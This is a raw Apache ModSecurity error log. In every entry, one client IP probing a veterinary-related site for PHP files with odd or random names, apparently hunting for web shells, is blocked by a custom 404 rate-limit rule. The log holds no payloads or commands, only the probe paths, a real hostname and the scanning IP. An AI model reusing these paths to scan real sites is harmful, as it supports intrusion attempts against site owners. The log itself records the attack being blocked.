[Mon Apr 13 17:05:48.345087 2026] [:error] [pid 7228:tid 7234] [client 20.100.201.121:63729] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx7AEnn1dQrOSHHNVXXQAAAQQ"]
[Mon Apr 13 17:05:49.284133 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:64692] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx7bHZEIkQ0Zmgp5oWagAAAM0"]
[Mon Apr 13 17:05:49.301076 2026] [:error] [pid 63406:tid 63423] [client 20.100.201.121:65210] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx7bHZEIkQ0Zmgp5oWbAAAAMw"]
[Mon Apr 13 17:05:49.832154 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:64147] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyx7bHZEIkQ0Zmgp5oWcgAAANQ"]
[Mon Apr 13 17:05:50.050868 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:65124] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx7rHZEIkQ0Zmgp5oWdgAAAMY"]
[Mon Apr 13 17:05:50.654769 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:63715] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx7jDO3t8R5NaxzYTOQQAAAUg"]
[Mon Apr 13 17:05:51.299790 2026] [:error] [pid 9314:tid 9335] [client 20.100.201.121:64069] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx72_r4W8fX2GWyGTFvgAAAZM"]
[Mon Apr 13 17:05:51.549768 2026] [:error] [pid 7228:tid 7249] [client 20.100.201.121:63184] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oircv.php"] [unique_id "adyx7wEnn1dQrOSHHNVXXwAAARM"]
[Mon Apr 13 17:05:51.853191 2026] [:error] [pid 7228:tid 7253] [client 20.100.201.121:63129] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx7wEnn1dQrOSHHNVXYAAAARc"]
[Mon Apr 13 17:05:52.437084 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:65151] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx8G_r4W8fX2GWyGTFxQAAAZA"]
[Mon Apr 13 17:05:52.676606 2026] [:error] [pid 7228:tid 7246] [client 20.100.201.121:64648] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyx8AEnn1dQrOSHHNVXYQAAARA"]
[Mon Apr 13 17:05:53.053652 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:63695] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx8bHZEIkQ0Zmgp5oWggAAAMg"]
[Mon Apr 13 17:05:53.585426 2026] [:error] [pid 63310:tid 63363] [client 20.100.201.121:64628] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx8XoXpRU5ztmwPjIuDgAAAFM"]
[Mon Apr 13 17:05:54.155167 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:65118] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx8jDO3t8R5NaxzYTOSQAAAUg"]
[Mon Apr 13 17:05:54.377928 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:64701] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oircv.php"] [unique_id "adyx8m_r4W8fX2GWyGTFyQAAAZc"]
[Mon Apr 13 17:05:54.732889 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:64629] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx8jDO3t8R5NaxzYTOSwAAAUc"]
[Mon Apr 13 17:05:55.340495 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:65109] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx87HZEIkQ0Zmgp5oWjwAAANU"]
[Mon Apr 13 17:05:55.800715 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:65200] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyx87HZEIkQ0Zmgp5oWkwAAAMo"]
[Mon Apr 13 17:05:55.878120 2026] [:error] [pid 63310:tid 63344] [client 20.100.201.121:64576] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx83oXpRU5ztmwPjIuEQAAAEA"]
[Mon Apr 13 17:05:56.650980 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:64669] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx9DDO3t8R5NaxzYTOTgAAAUw"]
[Mon Apr 13 17:05:57.219718 2026] [:error] [pid 57183:tid 57188] [client 20.100.201.121:64616] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx9TDO3t8R5NaxzYTOUQAAAUM"]
[Mon Apr 13 17:05:58.108978 2026] [:error] [pid 7228:tid 7238] [client 20.100.201.121:65202] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx9gEnn1dQrOSHHNVXZAAAAQg"]
[Mon Apr 13 17:05:58.915347 2026] [:error] [pid 63406:tid 63425] [client 20.100.201.121:65201] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx9rHZEIkQ0Zmgp5oWoQAAAM4"]
[Mon Apr 13 17:05:59.525096 2026] [:error] [pid 63311:tid 63380] [client 20.100.201.121:63699] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oircv.php"] [unique_id "adyx96HjrGN1MqBCVFnPGQAAAIk"]
[Mon Apr 13 17:06:00.197861 2026] [:error] [pid 63309:tid 63316] [client 20.100.201.121:63681] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oircv.php"] [unique_id "adyx-EpIKZ10weXpf0UBvgAAAAM"]
[Mon Apr 13 17:06:01.615516 2026] [:error] [pid 9314:tid 9321] [client 20.100.201.121:65204] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oircv.php"] [unique_id "adyx-W_r4W8fX2GWyGTF5wAAAYU"]
[Mon Apr 13 17:06:02.330031 2026] [:error] [pid 63311:tid 63382] [client 20.100.201.121:63706] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oircv.php"] [unique_id "adyx-qHjrGN1MqBCVFnPIAAAAIs"]
[Mon Apr 13 17:06:03.186651 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:64688] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blnux.php"] [unique_id "adyx-7HZEIkQ0Zmgp5oWsQAAAMg"]
[Mon Apr 13 17:06:03.437444 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:64078] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oircv.php"] [unique_id "adyx-2_r4W8fX2GWyGTF7wAAAYA"]
[Mon Apr 13 17:06:03.761707 2026] [:error] [pid 7228:tid 7244] [client 20.100.201.121:64601] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blnux.php"] [unique_id "adyx-wEnn1dQrOSHHNVXaQAAAQ4"]
[Mon Apr 13 17:06:04.418946 2026] [:error] [pid 63310:tid 63351] [client 20.100.201.121:65101] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blnux.php"] [unique_id "adyx_HoXpRU5ztmwPjIuGQAAAEc"]
[Mon Apr 13 17:06:05.091061 2026] [:error] [pid 63310:tid 63366] [client 20.100.201.121:63727] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blnux.php"] [unique_id "adyx_XoXpRU5ztmwPjIuIAAAAFY"]
[Mon Apr 13 17:06:05.907493 2026] [:error] [pid 63309:tid 63322] [client 20.100.201.121:64149] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adyx_UpIKZ10weXpf0UBwwAAAAk"]
[Mon Apr 13 17:06:06.716955 2026] [:error] [pid 7228:tid 7249] [client 20.100.201.121:64678] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adyx_gEnn1dQrOSHHNVXagAAARM"]
[Mon Apr 13 17:06:08.129368 2026] [:error] [pid 63310:tid 63354] [client 20.100.201.121:65149] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adyyAHoXpRU5ztmwPjIuJgAAAEo"]
[Mon Apr 13 17:06:09.837023 2026] [:error] [pid 63309:tid 63333] [client 20.100.201.121:63647] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blnux.php"] [unique_id "adyyAUpIKZ10weXpf0UBxAAAABQ"]
[Mon Apr 13 17:06:10.140861 2026] [:error] [pid 63311:tid 63383] [client 20.100.201.121:63680] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adyyAqHjrGN1MqBCVFnPJwAAAIw"]
[Mon Apr 13 17:06:12.654338 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:65139] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adyyBLHZEIkQ0Zmgp5oWuAAAAM0"]
[Mon Apr 13 17:06:13.321943 2026] [:error] [pid 63309:tid 63337] [client 20.100.201.121:63701] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyBUpIKZ10weXpf0UBxgAAABg"]
[Mon Apr 13 17:06:13.561259 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:64099] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adyyBbHZEIkQ0Zmgp5oWuQAAAMk"]
[Mon Apr 13 17:06:14.635441 2026] [:error] [pid 7228:tid 7254] [client 20.100.201.121:65139] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adyyBgEnn1dQrOSHHNVXfAAAARg"]
[Mon Apr 13 17:06:15.617943 2026] [:error] [pid 63406:tid 63413] [client 20.100.201.121:64624] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blnux.php"] [unique_id "adyyB7HZEIkQ0Zmgp5oWwQAAAMI"]
[Mon Apr 13 17:06:16.694152 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:63618] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Spow_SRw.php"] [unique_id "adyyCLHZEIkQ0Zmgp5oWxQAAAMg"]
[Mon Apr 13 17:06:18.547858 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:64658] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyCm_r4W8fX2GWyGTGGgAAAZQ"]
[Mon Apr 13 17:06:19.729689 2026] [:error] [pid 63406:tid 63428] [client 20.100.201.121:64071] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyC7HZEIkQ0Zmgp5oW0AAAANE"]
[Mon Apr 13 17:06:20.078748 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:64695] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albrt.php"] [unique_id "adyyDLHZEIkQ0Zmgp5oW0gAAAMM"]
[Mon Apr 13 17:06:20.313308 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:64634] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyDLHZEIkQ0Zmgp5oW0wAAANg"]
[Mon Apr 13 17:06:20.741793 2026] [:error] [pid 63310:tid 63344] [client 20.100.201.121:64679] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blnux.php"] [unique_id "adyyDHoXpRU5ztmwPjIuLgAAAEA"]
[Mon Apr 13 17:06:21.254012 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:64164] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyyDbHZEIkQ0Zmgp5oW2gAAAMo"]
[Mon Apr 13 17:06:21.941636 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:63659] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyyDbHZEIkQ0Zmgp5oW3gAAAMA"]
[Mon Apr 13 17:06:22.059668 2026] [:error] [pid 63311:tid 63389] [client 20.100.201.121:64648] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adyyDqHjrGN1MqBCVFnPNAAAAJI"]
[Mon Apr 13 17:06:23.546525 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:64587] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyyD7HZEIkQ0Zmgp5oW3wAAANM"]
[Mon Apr 13 17:07:09.488770 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:65103] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyyPbHZEIkQ0Zmgp5oX2AAAAMs"]
[Mon Apr 13 17:07:09.777672 2026] [:error] [pid 57183:tid 57188] [client 20.100.201.121:64651] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyPTDO3t8R5NaxzYTO2AAAAUM"]
[Mon Apr 13 17:07:10.546745 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:63668] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyPjDO3t8R5NaxzYTO2wAAAVE"]
